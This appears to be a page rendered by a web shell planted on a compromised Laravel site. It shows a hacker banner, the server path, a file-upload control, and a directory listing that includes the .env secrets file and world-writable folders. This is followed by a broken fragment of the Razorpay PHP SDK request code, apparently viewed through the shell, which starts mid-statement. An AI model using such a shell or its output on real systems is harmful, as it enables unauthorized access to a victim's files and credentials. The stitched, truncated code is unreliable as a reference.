I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
1
);
/**
* Fires a request to the API
* @param string $method HTTP Verb
* @param string $url Relative URL for the request
* @param array $data Data to be passed along the request
* @param array $additionHeader headers to be passed along the request
* @param string $apiVersion version to be passed along the request
* @return array Response data in array format. Not meant
* to be used directly
*/
public function request($method, $url, $data = array(), $apiVersion = "v1")
{
$url = Api::getFullUrl($url, $apiVersion);
$hooks = new Requests_Hooks();
$hooks->register('curl.before_send', array($this, 'setCurlSslOpts'));
$options = array(
'auth' => array(Api::getKey(), Api::getSecret()),
'hook' => $hooks,
'timeout' => 60
);
$headers = $this->getRequestHeaders();
$response = Requests::request($url, $headers, $data, $method, $options);
$this->checkErrors($response);
return json_decode($response->body, true);
}
public function setCurlSslOpts($curl)
{
curl_setopt($curl, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1_1);
}
/**
* Adds an additional header to all API requests
* @param string $key Header key
* @param string $value Header value
* @return null
*/
public static function addHeader($key, $value)
{
self::$headers[$key] = $value;
}
/**
* Returns all headers attached so far
* @return array headers
*/
public static function getHeaders()
{
return self::$headers;
}
/**
* Process the statusCode of the response and throw exception if necessary
* @param Object $response The response object returned by Requests
*/
protected function checkErrors($response)
{
$body = $response->body;
$httpStatusCode = $response->status_code;
try
{
$body = json_decode($response->body, true);
}
catch (Exception $e)
{
$this->throwServerError($body, $httpStatusCode);
}
if (($httpStatusCode < 200) or
($httpStatusCode >= 300))
{
$this->processError($body, $httpStatusCode, $response);
}
}
protected function processError($body, $httpStatusCode, $response)
{
$this->verifyErrorFormat($body, $httpStatusCode);
$code = $body['error']['code'];
// We are basically converting the error code to the Error class name
// Replace underscores with space
// Lowercase the words, capitalize first letter of each word
// Remove spaces
$error = str_replace('_', ' ', $code);
$error = ucwords(strtolower($error));
$error = str_replace(' ', '', $error);
// Add namespace
// This is the fully qualified error class name
$error = __NAMESPACE__.'\Errors\\' . $error;
$description = $body['error']['description'];
$field = null;
if (isset($body['error']['field']))
{
$field = $body['error']['field'];
// Create an instance of the error and then throw it
throw new $error($description, $code, $httpStatusCode, $field);
}
throw new $error($description, $code, $httpStatusCode);
}
protected function throwServerError($body, $httpStatusCode)
{
$description = "The server did not send back a well-formed response. " . PHP_EOL .
"Server Response: $body";
throw new Errors\ServerError(
$description,
ErrorCode::SERVER_ERROR,
$httpStatusCode);
}
protected function getRequestHeaders()
{
$uaHeader = array(
'User-Agent' => $this->constructUa()
);
$headers = array_merge(self::$headers, $uaHeader);
return $headers;
}
protected function constructUa()
{
$ua = 'Razorpay/v1 PHPSDK/' . Api::VERSION . ' PHP/' . phpversion();
$ua .= ' ' . $this->getAppDetailsUa();
return $ua;
}
protected function getAppDetailsUa()
{
$appsDetails = Api::$appsDetails;
$appsDetailsUa = '';
foreach ($appsDetails as $app)
{
if ((isset($app['title'])) and (is_string($app['title'])))
{
$appUa = $app['title'];
if ((isset($app['version'])) and (is_scalar($app['version'])))
{
$appUa .= '/' . $app['version'];
}
$appsDetailsUa .= $appUa . ' ';
}
}
return $appsDetailsUa;
}
/**
* Verifies error is in proper format. If not then
* throws ServerErrorException
*
* @param array $body
* @param int $httpStatusCode
* @return void
*/
protected function verifyErrorFormat($body, $httpStatusCode)
{
if (is_array($body) === false)
{
$this->throwServerError($body, $httpStatusCode);
}
if ((isset($body['error']) === false) or
(isset($body['error']['code']) === false))
{
$this->throwServerError($body, $httpStatusCode);
}
$code = $body['error']['code'];
if (Errors\ErrorCode::exists($code) === false)
{
$this->throwServerError($body, $httpStatusCode);
}
}
}